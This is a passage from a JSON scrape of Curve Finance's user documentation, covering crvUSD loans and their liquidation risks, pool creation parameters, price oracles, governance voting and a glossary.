update: 2023-09-12 Back to top", "labels": ["Documentation"]}, {"title": "Understanding crvusd", "html_url": "https://resources.curve.fi/crvusd/understanding-crvusd/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Understanding crvusd Table of contents Understanding $crvUSD Risks Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Understanding $crvUSD Risks Understanding crvusd Understanding $crvUSD Curve Stablecoin infrastructure enables users to mint crvUSD using a selection of crypto-tokenized collaterals. Positions are managed passively: if the collateral's price decreases, the system automatically sells off collateral in a soft liquidation mode. If the collateral's price increases, the system recovers the collateral. This process could lead to some losses due to liquidation and de-liquidation. Manage crvUSD positions at https://crvusd.curve.fi/ User guide of crvUSD and introduction of rate & LLAMMA, by 0xreviews Risks Please consider the following risk disclaimers when using the Curve Stablecoin infrastructure: If your collateral enters soft-liquidation mode, you can't withdraw it or add more collateral to your position. Should the price of the collateral drop sharply over a short time interval, your position will get hard-liquidated, with no option of de-liquidation. Please choose your leverage wisely, as you would with any collateralized debt position. If your collateral enters soft-liquidation mode, you can't withdraw it or add more collateral to your position. Should the price of the collateral change drop sharply over a short time interval, it can result in large losses that may reduce your loan's health. If you are in soft-liquidation mode and the price of the collateral goes up sharply, this can result in de-liquidation losses on the way up. If your loan's health is low, value of collateral going up could potentially reduce your underwater loan's health. If the health of your loan drops to zero or below, your position will get hard-liquidated with no option of de-liquidation. Please choose your leverage wisely, as you would with any collateralized debt position. The crvUSD stablecoin and its infrastructure are currently in beta testing. As a result, investing in crvUSD carries high risk and could lead to partial or complete loss of your investment due to its experimental nature. You are responsible for understanding the associated risks of buying, selling, and using crvUSD and its infrastructure. The value of crvUSD can fluctuate due to stablecoin market volatility or rapid changes in the liquidity of the stablecoin. crvUSD is exclusively issued by smart contracts, without an intermediary. However, the parameters that ensure the proper operation of the crvUSD infrastructure are subject to updates approved by Curve DAO. Users must stay informed about any parameter changes in the stablecoin infrastructure. Understanding Curve v2 Last update: 2023-09-12 Back to top", "labels": ["Documentation"]}, {"title": "Understanding tokenomics", "html_url": "https://resources.curve.fi/crvusd/understanding-tokenomics/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics Understanding tokenomics Table of contents $crvUSD Concepts Bands Borrow Rate Liquidation LLAMMA Loan Health FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents $crvUSD Concepts Bands Borrow Rate Liquidation LLAMMA Loan Health Understanding tokenomics $crvUSD Concepts Bands When loans are created, collateral is spread among several bands. Each band has a range of prices for the asset. If the price oracle is inside this range of prices, that particular band of collateral is likely to be liquidated. In the example above, the collateral has been spread into 10 different bands of collateral. The darker grey represents collateral which has been converted into $crvUSD, lighter grey is the original collateral type. Mousing over any bar will give you details about your position within the band, as well as the asset prices corresponding to this band. If you are in soft liquidation, the band may have a blend of $crvUSD and the collateral. Borrow Rate The borrow rate is variable basd on conditions in the pool. For instance, when collateral price is down and some positions are in soft liquidation, the rate can fall. A decreasing rate creates incentive to borrow and dump, while an increasing rate creates incentives to buy $crvUSD and repay. The formula for calculating Borrow Rate is: rate = rate0 * exp(-(p - 1) / sigma) * exp(-peg_keeper_debt / (total_debt * peg_keeper_target_fraction)) Liquidation In soft liquidation, the collateral within a band is at risk of being converted into crvUSD. If the price goes back, it will be rehypothecated into collateral, although it will likely be lower than the initial amount. While in soft liquidation mode, users cannot modify their collateral. The only options available are to either partially or fully repay the debt or opt to self-liquidate the position. If your health continues to weaken, you may find yourself subject to \"hard liquidation,\" which functions more like a usual liquidation, where your position is erased. LLAMMA LLAMA (Lending Liquidation AMM Algorithm) is a fully functional AMM with all the functions you would expect. For more detail please check the source code . Loan Health Based on your collateral and borrow amount, the UI will display the Health score. Low health scores are more at risk of entering liquidation mode in the event the asset price drops. Last update: 2023-09-12 Back to top", "labels": ["Documentation"]}, {"title": "Creating a cryptoswap pool", "html_url": "https://resources.curve.fi/factory-pools/creating-a-cryptoswap-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Creating a cryptoswap pool Table of contents Creating a Cryptoswap Pool Creating a Pool Tokens in Pool Pool Presets Parameters Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Creating a Cryptoswap Pool Creating a Pool Tokens in Pool Pool Presets Parameters Creating a cryptoswap pool Creating a Cryptoswap Pool The v2 Curve Factory supports pools of assets with volatile prices, with no expectation of price stability. Understanding Curve v2 Creating a Pool The factory can be used to create a pool between any two or three ERC20 tokens. Based on trading activity in the pool, the v2 pools update an internal price oracle that the pool uses to rebalance itself. If the pool is using wrapped Ethereum as one of the two assets, the pool will also support depositing either raw ETH or wrapped Ethereum. Tokens in Pool The token selection tab can be used to select up to three tokens. The order of the tokens can matter for the performance of the AMM. Make sure to select the token with the higher price is first. If the tokens are supported by CoinGecko, you can see the \"Initial Price\" under the Pool Setup panel, choose the token order to maximize this value. On Ethereum at the top of the token selection popup you can see any Curve basepools suggested up top. These allow you to create a metapool , where the other asset can trade with any of the underlying basepool assets. You can search by name for any token already added to Curve, or paste a token address Pool Presets The \"Pool Presets\" tab provides scenarios that prepopulate appropriate parameters for users who are unfamiliar with advanced aspects of Curve pools. Some examples: Crypto: Used volatile pairings for tokens which are likely to deviate heavily in price Forex: Pairings that have low volatility Liquid Staking Derivatives: Similar to $cbETH and $rETH which handle Ethereum LSDs Tricrypto: Suitable for pools containing a USD stablecoin, BTC stablecoin and ETH. Three Coin Volatile: Suitable for pools containing a volatile token which is paired against ETH and USD stablecoins. Parameters On the parameters tab you can review and adjust the defaults populated by your selection on the \"pool presets\" tab. Crypto v2 pools contain a lot of parameters. If you are uncertain of which parameters to use, you may want to ask for help in any Curve channel before deploying. Some parameters can be tuned after the fact. The basic parameters include the fees charged to users who interact with the pool. This is divided dynamically into a \"Mid fee\" and \"Out fee\" parameter, which represent the minimum and maximum fee during periods of low and high volatility. Mid Fee: [.005% to 1%] Percentage. Fee when the pool is maximally balanced. This is the minimum fee. The fee is calculated as mid_fee * f + out_fee * (10^18 - f) Out Fee: [Mid Fee to 1%] Fee when the pool is imbalanced. Must be larger than the Mid Fee and represents the maximum fee. The initial prices fetch current prices from Coingecko to set the initial liquidity concentration. If your tokens do not exist on Coingecko you will need to populate these values manually, otherwise they will be filled automatically. The Advanced toggle allows you to adjust several of the other parameters under the hood. Amplification Parameter (A): [4,000 to 4,000,000,000] Larger values of A make the curve better resemble a straight line in the center (when pool is near balance). Highly volatile assets should use a lower value, while assets that are closer together may be best with a higher value. Gamma: [.00000001 to .02] The gamma parameter can further adjust the shape of the curve. Default values recommend .000145 for volatile assets and .0001 for less volatile assets. Allowed Extra Profit: [0 to .01] As the pool takes profit, the allowed extra profit parameter allows for greater values. Recommended 0.000002 for volatile assets and 0.00000001 for less volatile assets. Fee Gamma: [0 to 1] Adjusts how fast the fee increases from Mid Fee to Out Fee. Lower values cause fees to increase faster with imbalance. Recommended value of .0023 for volatile assets and .005 for less volatile assets. Adjustment Step: [0 to 1] As the pool rebalances, it will must do so in units larger than the adjustment step size. Volatile assets are suggested to use larger values (0.000146), while less volatile assets do not move as frequently and may use smaller step sizes (default 0.0000055) Moving Average Time: [0 to 604,800] In seconds -- the price oracle uses an exponential moving average to dampen the effect of changes. This parameter adjusts the half life used. A more thorough reader on the parameters can be found here . You can use this interactive tool to see how some of the parameters interact. After deployment, make sure to seed initial liquidity and create a gauge just like regular factory pools . Creating a Pool Gauge Last update: 2023-08-25 Back to top", "labels": ["Documentation"]}, {"title": "Creating a stableswap pool", "html_url": "https://resources.curve.fi/factory-pools/creating-a-stableswap-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a stableswap pool Table of contents Creating a Stableswap Pool Token Selection Pool Presets Parameters Pool Info Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Creating a Stableswap Pool Token Selection Pool Presets Parameters Pool Info Creating a stableswap pool Creating a Stableswap Pool The Stableswap pool creation is appropriate for assets expected to hold a price peg very close to each other, like a pair of dollarcoins. The creation wizard will guide you through the process of creating a pool, but if you have questions throughout you are encouraged to speak with a member of the Curve team in the Telegram or Discord . Token Selection The token selection tab can be used to select between two to four tokens. You can select a token by searching for the symbol of any token that is already being used on Curve, or by pasting the pools address. On Ethereum you might observe a handful of popular assets (ie Tether, USDC, Frax) are not available in the token selection dropdown. Some of these assets have been added to \"base pools,\" which can be used in the creation of other \"metapools.\" Base & MetaPools Base pools are suggested at the top of the token selection modal. As of April 2023, Curve supported two stablecoin basepools (3CRV/FraxBP) and a BTC basepool (sbTC2Crv). If you want to include a token that is part of a base pool, you must use it as part of a corresponding base pool. Base pools can only be paired with one other token. If you are using raw ether as a token, it must be added as \"Token A.\" WETH may be added as either Token A or Token B. If your pool contains rebasing tokens (a token that adjusts its total supply to control its price), make sure to select the appropriate box: The UI will not check to see if a pool containing your token pairs already exists. Some protocols have seen opportunities to create two pools containing the same assets but using different parameters (c/f stETH concentrated ). In most cases you should take care to make sure your pool does not already exist. Pool Presets The \"Pool Presets\" tab contains a few scenarios that prepopulate appropriate parameters for users unfamiliar with advanced aspects of Curve pools. The presets include an explanation of their use case. The Advanced options toggle includes a variety of options which may not apply to your case. Parameters The parameters tab allows you to adjust pool parameters. The pool's fee is applied to all transactions within the pool, half of which accrues to pool LPs, the other half is distributed to veCRV stakers. The fee for StableSwap pools may be set between .04% and 1%. The Advanced tab allows you to adjust the pool's \"A Parameter.\" The A Parameter is set by default based on your selection on the prior tab. A higher value for A concentrates liquidity better. If the assets are likely to fluctuate heavily you may want to lower the value below the default of 100. After the pool launches, the DAO has the capability of adjusting the A parameter. Understanding Curve Pools Pool Info Finally, you may adjust factors used for displaying the pool on the Curve site. These cannot be adjusted after launching so be careful when selecting these parameters. On the Curve UI the pools are grouped by the \"Asset Type Tag.\" This only affects its display on the Curve website, it has no effect on the pool's performance. USD: For pools only containing dollarcoins ETH: For pools only containing ETH BTC: For pools only containing BTC Other: All other assets Your pool is ready to launch! It will now appear on the Curve page, but it's not yet eligible to earn $CRV rewards. For next steps you will typically want to seed initial liquidity and create a pool gauge . Creating a Pool Gauge Last update: 2023-09-07 Back to top", "labels": ["Documentation"]}, {"title": "Pool factory", "html_url": "https://resources.curve.fi/factory-pools/pool-factory/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Pool factory Table of contents Understanding Factory Pools Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Understanding Factory Pools Pool factory Understanding Factory Pools The Curve pool creation factory allows any user to permissionlessly deploy a Curve pool. These pools can contain a variety of assets, including pegged tokens, unpegged tokens, and metapools built off of other base pools . Base & MetaPools Keep in mind a few points about all pools: Destroying Curve pools once deployed is not possible Curve is not responsible for any of the assets going in there so you must do your own research when trading in the pool factory. The Curve team and DAO also have no control over the tokens added in the factory which means you must verify the token addresses you trade on there. The only admin change that can be made by the Curve DAO is ramping the A (amplification) parameter Tokens with more than 18 decimals are not supported After deploying a pool, you must seed initial liquidity if you want users to interact with it. Pools will only display on the homepage by default if their TVL is not below the threshold of what is considered \"small.\" https://curve.fi/#/ethereum/create-pool To get started, visit the \" Pool Creation \" tab at the top of the Curve homepage, and select whether you would like to create a \"Stableswap Pool\" (a pool with pegged assets) or a \"Cryptoswap Pool\" (containing assets whose prices may be volatile). Creating a Stableswap Pool Creating a Cryptoswap Pool Note some sidechains may not yet support a stableswap or cryptoswap pool factory. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Understanding oracles", "html_url": "https://resources.curve.fi/factory-pools/understanding-oracles/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Understanding oracles Table of contents Understanding Oracles Purpose Exponential Moving Average Updates Price Oracle Profits and Liquidity Balances Manipulation v1 Pools LLAMMA Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Understanding Oracles Purpose Exponential Moving Average Updates Price Oracle Profits and Liquidity Balances Manipulation v1 Pools LLAMMA Understanding oracles Understanding Oracles This article primarily covers the role of internal price oracles within Curve Finance v2 pools, with a brief note at the end of LLAMMA price oracles . Please note that Curve v1 and v2 pools do not rely on external price oracles. Misuse of external price oracles is a contributing factor to several major DeFi hacks. If you are looking to use Curves price oracle functions, or any price oracle, to provide on-chain pricing data in a decentralized application you are building, we recommend extreme caution. Purpose Curve v2 pools , which consist of assets with volatile prices, require a means of tracking prices. Instead of relying on external oracles, the pool instead calculates the price of these assets internally based on the trading activity within the pool. This is tracked by two similar but distinct parameters: Price Oracle: The pools expectation of the assets price Price Scale: The price based on the pools actual concentration of liquidity Pools keep track of recent trades within the pool as a variable called last_prices . The price_oracle is calculated as an exponential moving average of recent trade prices. The price_oracle represents what the pool believes is the fair price of the asset . In contrast, price_scale is a snapshot of how the liquidity in the pool is actually distributed. For this reason, price_scale lags price_oracle . As users make trades, the pool calculates how to profitably readjust liquidity , and the price_scale moves in the direction of the price_oracle . Price Oracle and Price Scale shown in the Curve UI Exponential Moving Average As discussed above , the price_oracle variable is calculated as an exponential moving average of last_prices . For comparison, traders commonly rely on a simple moving average as a technical analysis indicator, which calculates the average of a certain number points (ie, a 200-day moving average computes the average of the trailing 200 days of data). The exponential moving average\" is similar, except it applies a weighting to emphasize newer data over older data. This weighting falls off exponentially as it looks further back in time, so it can react quicker to recent trends. Updates An internal function tweak_price is called every time prices might need to be updated by an operation which might adjust balances within a pool (hereafter referred to as a liquidity operation ): add_liquidity remove_liquidity_one_coin exchange exchange_underlying The tweak_price function is a gas expensive function which can execute several state changing operations to state variables_._ Price Oracle The price_oracle is updated only once per block. If the current timestamp is greater than the timestamp of the last update, then price_oracle is updated using the previous price_oracle value and data from last_prices . The updated price_oracle is then used to calculate the vector distance from the price_scale , which is used to determine the amount of adjustment required for the price_scale . Profits and Liquidity Balances Curve v2 pools operate on profits. That is, liquidity is rebalanced when the pool has earned sufficient profits to do so. Every time a liquidity operation occurs, the pool chooses whether it should spend profits on rebalancing. The pools actions may be considered as an attempt to rebalance liquidity close to market prices. Pools perform all such operations strictly with profits, never with user funds. Profits are occasionally claimed by administrators, otherwise funds remain in the pool. In other words, profits can be calculated from the following function: profits == erc20.balanceOf(i) - pool.balances(i) Internally, every time the tweak_price function is called during a liquidity operation , the pool tracks profits. It then uses the updated profit values to consider if it should rebalance liquidity. Specifically, pools carry a public parameter called allowed_extra_profit which works like a buffer. If the pools virtual price has grown by more than a function of profits and the allowed_extra_profit buffer value, then the pool is considered profitable enough to rebalance liquidity. From here, the pool further checks that the price_scale is sufficiently different from price_oracle , to avoid rebalancing liquidity when prices are pegged. Finally, the pool computes the updates to the price_scale and how this affects other pool parameters. If profits still allow, then the liquidity is rebalanced and prices are adjusted. Manipulation We do not recommend using Curve pools by themselves as canonical price oracles. It is possible, particularly with low liquidity pools, for outside users to manipulate the price. Curve pools nonetheless include protections against some forms of manipulation. The logic of the Curve price_oracle variable only updates once per block, which makes it more resistant to manipulation from malicious trading activity within a single block. Due to the fact that changes to price_oracle are dampened by an exponential moving average , attempts to manipulate the price may succeed but would require a prolonged attack over several blocks. Actual $CVX price versus CVX-ETH Pool Price Oracle and Price Scale during rapid volatility These safeguards all help to prevent various forms of manipulation. However, for pools with low liquidity, it is not difficult for whales to manipulate the price over the course of several transactions. When relying on oracles on-chain, it is safest to compare results among several oracles and revert if any is behaving unusually. v1 Pools Newer v1 Pools also contain a price oracle function, which also displays a moving average of recent prices. If the moving average price was written to the contract in the same block it will return this value, otherwise it will calculate on the fly any changes to the moving average since it was last written. Curve v1 pools do not have a concept of price scale, so no endpoint exists for retreiving this value. Older v1 pools will also not have a price oracle, so use caution if you are attempting to retrieve this value on-chain. LLAMMA The LLAMMA use of oracles is quite different than Curve v2 pools in that it can utilize external price oracles. In LLAMMA, the price_oracle function refers to the collateral price (which can be thought of as the current market price) as determined by an external contract. For example, LLAMMA uses price_oracle to convert $ETH to $crvUSD at a specific collateral price. When the external price is higher than the upper price (internally: P_UP ), all assets in the band range are converted to $ETH. When the price is lower than the lower price (internally: P_DOWN ), all assets are converted to $crvUSD. When the oracle price is in the middle, the current band is partially converted, with the exact proportion determined by price changes. When the external price changes, an arbitrage opportunity exists. External arbitrageurs can deposit $ETH or $crvUSD to balance the pool, until the pool price reaches parity with the external price. LLAMMA applies an exponential moving average to the price_oracle to prevent users from absorbing losses due to drastic fluctuations. More information on price oracles and other LLAMMA dynamics are available at this article . Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Glossary", "html_url": "https://resources.curve.fi/faq/glossary/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Glossary Table of contents Glossary 3CRV Admin fee Boosting (also boosties) CRV DeFi (Decentralized Finance) Metamask Metapool Llamas LP (Liquidity provider) LP tokens (Liquidity provider token) Yearn yCRV yUSD (also yyCRV) Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Glossary 3CRV Admin fee Boosting (also boosties) CRV DeFi (Decentralized Finance) Metamask Metapool Llamas LP (Liquidity provider) LP tokens (Liquidity provider token) Yearn yCRV yUSD (also yyCRV) Glossary Glossary 3CRV 3CRV is the LP token for the 3Pool (sometimes referred to as TriPool). Trading fees are distributed in 3CRV. Admin fee Admin fee is the share of trading fees that are received by governance participants who have locked their CRV (see veCRV). Boosting (also boosties) The act of locking your CRV to earn more CRV on your provided liquidity. Boosting your CRV Rewards CRV Governance and utility token for the Curve DAO. DeFi (Decentralized Finance) Decentralized finance (commonly referred to as DeFi) is an experimental form of finance that does not rely on financial intermediaries such as brokerages, exchanges, or banks, and instead utilizes blockchains, most commonly the Ethereum blockchain. Metamask Metamask is an Ethereum wallet that allows you to interact with Curve and other dapps. You can also use it with Ledger and Trezor hardware wallets. It's the most popular Ethereum web wallet and is available as an add-on for most browsers. Metapool Metapools are a type of pool on Curve composed of one asset as well as as LP tokens from another pool. Base & MetaPools Llamas Llamas are wonderful and magical creatures. Each Curve team member must own at least one llama as part of their contract with Curve Finance. LP (Liquidity provider) Users providing liquidity (funds/assets) on the Curve or other DeFi protocols. LP tokens (Liquidity provider token) When you deposit into a Curve pool, you receive a counter party token which represents your share of the pool. veCRV Stands for vote-escrowed CRV. They are CRV locked for the purpose of voting and earning fees. Understanding $CRV Yearn Yearn Protocol is a set of Ethereum Smart Contracts focused on creating a simple way to generate high risk-adjusted returns for depositors of various assets via best-in-class lending protocols, liquidity pools, and community-made yield farming strategies on Ethereum. It was founded by Andre Cronje who has been a long term collaborator of Curve Finance. yCRV yCRV is not wrapped CRV, it's a wrapped representation of ownership of yUSDC+yUSDT+yDAI+yTUSD deposits in the Curve Y pool (i.e. your share of the pool). Each pool on Curve has an LP token with a different name. yUSD (also yyCRV) Yearn token wrapper that represents shares of the Y pool inside the Yearn Y Pool vault. It is a wrapped version of yCRV. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Proposals", "html_url": "https://resources.curve.fi/governance/proposals/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Proposals Table of contents Proposals Creating a proposal Type of votes Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Proposals Creating a proposal Type of votes Proposals Proposals Once CRV holders vote-lock their veCRV, they can start voting on various proposals. Creating a proposal Anybody can create proposals but users need to follow the structure of a proposal which can be found by creating a new topic on the governance forum: https://gov.curve.fi/ Users who create proposals also need to create a corresponding CIP proposal at http://signal.curve.fi/ Using the signalling tool is completely free (no transaction fees) and you only need 1veCRV to create a proposal there. Assuming you have at least 2,500 veCRV, you can also create an official DAO vote as long as it also comes with its topic presenting it on the governance forum. Voting Type of votes Currently there are two type of votes: Signalling votes which are non-official votes only used to gauge interest from community ( https://signal.curve.fi/#/ ) Official DAO votes are the only way to enact changes on the Curve protocol ( https://dao.curve.fi/ ) Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Snapshot", "html_url": "https://resources.curve.fi/governance/snapshot/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Snapshot Table of contents Snapshot Voting Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Snapshot Voting Snapshot Snapshot Snapshot is a signalling tool that allows governance participants to signal for free. As gas fees are here to stay on the Ethereum blockchain, Curve governance is now using a tool called Snapshot to allow governance users to signal their preferences on Curve proposals. Whilst this tool doesn't replace governance and will only be used to signal, it's a great way for holders of all sizes to make their voices heard as voting is completely free. Voting Head over to the signalling tool: https://signal.curve.fi/#/curve and connect your Metamask wallet. It should be the one where you hold your veCRV (vote locked CRV). Simply review your proposal, select your preferred option and click Vote: You will be prompted by Metamask to sign a transaction which is completely free and your voting vote will be counted according to your voting weight at the moment of the proposal creation. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Understanding governance", "html_url": "https://resources.curve.fi/governance/understanding-governance/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Understanding governance Table of contents Understanding Governance Voting on the Curve DAO Voting Power The DAO Dashboard Submitting proposals Emergency DAO Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds 